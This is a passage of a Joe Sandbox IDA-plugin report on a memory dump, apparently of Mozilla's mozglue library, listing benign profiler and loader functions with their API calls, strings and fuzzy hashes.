Instruction ID: 8f95e921b366a0e6f68117a83a2b2a19057236243acd26d1dd961e15aa4948f0
Opcode Fuzzy Hash: 9f040d1a21552f8367d704b9dfd2ef38a30a1ab9c9908b27cb9c785c7fdf1f80
Instruction Fuzzy Hash: 04D27C71B056018FD708CF59C990715BBE1BF85328F29C76DE86A8B7A5D731E841CB82

Function 6C5E6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C5E6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E6E1E

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 9e467d996098dfdbd152d872459069a59b024ef965ec3c3f6f8f7c3185252de0
Instruction ID: aba1f1f3467fbc824ed1d48b9b1324115ea66d09b32d871feaab0bfb83725fb3
Opcode Fuzzy Hash: 9e467d996098dfdbd152d872459069a59b024ef965ec3c3f6f8f7c3185252de0
Instruction Fuzzy Hash: 72A18B70618384CFDB15CF25C8907AEBBE2BFC9348F04491DE99A87751DB70A949CB82

Function 6C60B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C5DFE3F), ref: 6C60B720
RtlNtStatusToDosError.NTDLL ref: 6C60B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C5DFE3F), ref: 6C60B760

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 0a00c88aa8d5806d730f0d88d833bfeb95c841e7d0463eb63b321d0ebc603cce
Instruction ID: 208ccdbd87625670ab991a65d271c1716eca94467f10ac90ac706d2c07ba0b37
Opcode Fuzzy Hash: 0a00c88aa8d5806d730f0d88d833bfeb95c841e7d0463eb63b321d0ebc603cce
Instruction Fuzzy Hash: 60F0A470A4420CAEDF099AA5CD85BDE77BD9B4432BF109139D511715C0D774998CC76C

Function 6C5C4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C5C4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C5585, 6C5C55A8, 6C5C55C3, 6C5C5624

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 94c493745be54d2caecbc7ef721dd874cab3cc5c37c4124f75219da864b38e96
Instruction ID: 552be4bf32a83cc4ebc5c9010f34cddcdac87935008786bab9075b186aa3e047
Opcode Fuzzy Hash: 94c493745be54d2caecbc7ef721dd874cab3cc5c37c4124f75219da864b38e96
Instruction Fuzzy Hash: D8B28F71B056018FD308CF99C990725BBE2BFC5328B29C76DE4698B7A5D771E841CB82

Function 6C6085F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C608C7C
__aulldiv.LIBCMT ref: 6C608DD7

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: be2a872b49d769d3c629b90ada2b01e3486ff575f3cbb3d8df408d88d4d594d9
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 63328F31F101198BDF1CCE9CC9A17AEB7B6FB88304F16853AD406BB7A0DA349D458B95

Function 6C6176E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qZl, xrefs: 6C61793C, 6C617B0B, 6C617796, 6C617E0B, 6C6179C0, 6C6179FB

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ~qZl
API String ID: 0-4224160377
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: a3cc26e547993f11bc2f97b632f64410c61ae1d9ae32e34ce59531f6f6a9e01d
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 62320A71E046198FCB14CF99C890AADFBF2FF88308F648169C549A7B45D731A986CF94

Function 6C616E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qZl, xrefs: 6C61793C, 6C617B0B, 6C617E0B, 6C6179C0, 6C617C03, 6C617C72, 6C6179FB

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ~qZl
API String ID: 0-4224160377
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 19bda37819bdebe1013a50c67d88af55cd5de13f1e8fae335f1313da59a29b9d
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F1220975E042198FCB14CF98C880AADF7F2FF88304F6485AAC549A7B45D731A986CF94

Function 6C5E5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5B4A63,?,?), ref: 6C5E5F06

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3e6af2682fed1e7a33fa9948a7535c47f6cff07a4a126e9056dcb77546a16cd9
Instruction ID: 20a62045daa545c748688c10d1c00a7ab334133c17567e59010db0afb843842a
Opcode Fuzzy Hash: 3e6af2682fed1e7a33fa9948a7535c47f6cff07a4a126e9056dcb77546a16cd9
Instruction Fuzzy Hash: E7C1D275D012098BCB04CF99C9906EEBBF2FF8A318FA8415DD8556BB45D732A906CF90

Function 6C5ADFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2e1f68301bfd562901557000d465fea48f4c26b23c6041ca564a9fd8342ef43
Instruction ID: 612a26bbb24358c9d08b0fa2d354c2cfbfec2c92590e9b4fd25579913ee2ef82
Opcode Fuzzy Hash: c2e1f68301bfd562901557000d465fea48f4c26b23c6041ca564a9fd8342ef43
Instruction Fuzzy Hash: 8742C332A087518BD308CE7DC89135EB3E2BFC9364F094B2DE999A7791D774D9428B81

Function 6C5D0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 6b274da699a51902576afb2007428f7aa8669ff043b9c833f60765cb011d3446
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: BE221671E00619CFCB14CF98C890AADF7B2FF88314F55869AD44AA7705D731A986CF84

Function 6C61AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33cb064bc30959da60377ddd9f4483401e727ff62f8445e899514d13fa10c4bd
Instruction ID: b42411a1024763ab42fed08c8b48809b8ea30ec380ff29545556e980984c3241
Opcode Fuzzy Hash: 33cb064bc30959da60377ddd9f4483401e727ff62f8445e899514d13fa10c4bd
Instruction Fuzzy Hash: B7F13971A0C7454FD700CE2CC8913AAB7E2AFC531AF158A2DE4D487F92E774988D8796

Function 6C5AC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 4d7c41bfe003d8dcb3dbffc77e1c1a09eb23f250caaf566cdf5819a47df85da6
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 4BA1A171F0021A8FDB08CEA9C8913AEB7F2AFC9354F188129D915E7791D7356C068BD0

Function 6C5E7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: f5aa1bf0da769bbeb360bbec430f886d5e8dc7aeb1da59747880818381f525c2
Instruction ID: d2cc4dba08e2ff8cb1fdc1250148e3caee2d0161a273321c49d7eebb577c9cf8
Opcode Fuzzy Hash: f5aa1bf0da769bbeb360bbec430f886d5e8dc7aeb1da59747880818381f525c2
Instruction Fuzzy Hash: 34717C75E052198FCB08CFA9D8906EDBBB2FF89354F24812ED815AB741D731A945CB90

Function 6C5ECC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5B582D), ref: 6C5ECC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5B582D), ref: 6C5ECC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C61FE98,?,?,?,?,?,6C5B582D), ref: 6C5ECC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C5ECCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C5ECCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C5ECCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C5ECCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C5ECD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C5ECD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C5ECD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C5ECDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C5ECDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C5ECDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C5ECDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C5ECE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C5ECE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C5ECE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C5ECE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C5ECE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C5ECE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C5ECE8A

Strings

fileioall, xrefs: 6C5ECCA8
java, xrefs: 6C5ECC37
noiostacks, xrefs: 6C5ECCBE
fileio, xrefs: 6C5ECC92
Unrecognized feature "%s"., xrefs: 6C5ECEA0
nativeallocations, xrefs: 6C5ECDA8
jsallocations, xrefs: 6C5ECD0E
screenshots, xrefs: 6C5ECCD4
power, xrefs: 6C5ECE84
audiocallbacktracing, xrefs: 6C5ECDD4
unregisteredthreads, xrefs: 6C5ECE58
samplingallthreads, xrefs: 6C5ECE2C
markersallthreads, xrefs: 6C5ECE42
stackwalk, xrefs: 6C5ECCF8
ipcmessages, xrefs: 6C5ECDBE
leaf, xrefs: 6C5ECC66
preferencereads, xrefs: 6C5ECD92
seqstyle, xrefs: 6C5ECCE6
cpuallthreads, xrefs: 6C5ECE16
default, xrefs: 6C5ECC21
processcpu, xrefs: 6C5ECE6E
nostacksampling, xrefs: 6C5ECD7C
mainthreadio, xrefs: 6C5ECC7C
notimerresolutionchange, xrefs: 6C5ECE00

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 3a2c7171958b9561609795740c909d88370760df082db387857aa337d82519eb
Instruction ID: 393fb66a07737cea417b6c975e6b01fe38d7e650c0b50591e21ee837e370fadf
Opcode Fuzzy Hash: 3a2c7171958b9561609795740c909d88370760df082db387857aa337d82519eb
Instruction Fuzzy Hash: 5A51CCF19092A561FA05B1191E20BEE1C45EF5B24BF106436EE1BA1F80FF06F61949BF

Function 6C5B47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5B4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B482D
__Init_thread_footer.LIBCMT ref: 6C5B484A

Part of subcall function 6C5DAB3F: EnterCriticalSection.KERNEL32(6C62E370,?,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB49
Part of subcall function 6C5DAB3F: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DAB7C

GetCurrentThreadId.KERNEL32 ref: 6C5B485F
GetCurrentThreadId.KERNEL32 ref: 6C5B487E
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B488B
free.MOZGLUE(?), ref: 6C5B493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B4956
free.MOZGLUE(00000000), ref: 6C5B4960
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B499A

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

free.MOZGLUE(?), ref: 6C5B49C6
free.MOZGLUE(?), ref: 6C5B49E9

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6C5B4A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C5B4A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5B4828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5B4812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5B47FC

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 01b6ec0188181c1f25a9f4af391fae229b4aefee875e6c310a25913df08f3695
Instruction ID: f3ad5d9ad4f67e53582ca730284b80af8bf1982027658d5b877168efa05412ae
Opcode Fuzzy Hash: 01b6ec0188181c1f25a9f4af391fae229b4aefee875e6c310a25913df08f3695
Instruction Fuzzy Hash: 8181E571A00110CBDB20DF69CCA475A7B75FF82318F540629E916A7B42E73AE845CB9F

Function 6C5B4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5B44B2,6C62E21C,6C62F7F8), ref: 6C5B473E
Part of subcall function 6C5B4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5B474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5B44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5B44D2
InitOnceExecuteOnce.KERNEL32(6C62F80C,6C5AF240,?,?), ref: 6C5B451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5B455C
LoadLibraryW.KERNEL32(?), ref: 6C5B4592
InitializeCriticalSection.KERNEL32(6C62F770), ref: 6C5B45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5B45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5B45BB
InitOnceExecuteOnce.KERNEL32(6C62F818,6C5AF240,?,?), ref: 6C5B4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5B4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5B4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5B466D
VerSetConditionMask.NTDLL ref: 6C5B469F
VerSetConditionMask.NTDLL ref: 6C5B46AB
VerSetConditionMask.NTDLL ref: 6C5B46B2
VerSetConditionMask.NTDLL ref: 6C5B46B9
VerSetConditionMask.NTDLL ref: 6C5B46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5B46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5B46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5B46FD

Strings

l, xrefs: 6C5B4578
user32.dll, xrefs: 6C5B4557, 6C5B463F
kernel32.dll, xrefs: 6C5B44CD
NativeNtBlockSet_Write, xrefs: 6C5B46F7
WRusr.dll, xrefs: 6C5B44B5
Gbl, xrefs: 6C5B44FC

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gbl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3324001954
Opcode ID: 92cf069cee517e135d84ebd5672a7e51041a6d58fc5ddb4b040e2d112189c132
Instruction ID: cff88caaebaecf6036a6618cd64cac75ac8956e8d5328bba4cbe5482e6b61ac3
Opcode Fuzzy Hash: 92cf069cee517e135d84ebd5672a7e51041a6d58fc5ddb4b040e2d112189c132
Instruction Fuzzy Hash: 0A615BB0604354AFEB209F62CC85B957FB8EF82308F04855CE545AB641D3BD9945CF5A

Function 6C5EF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
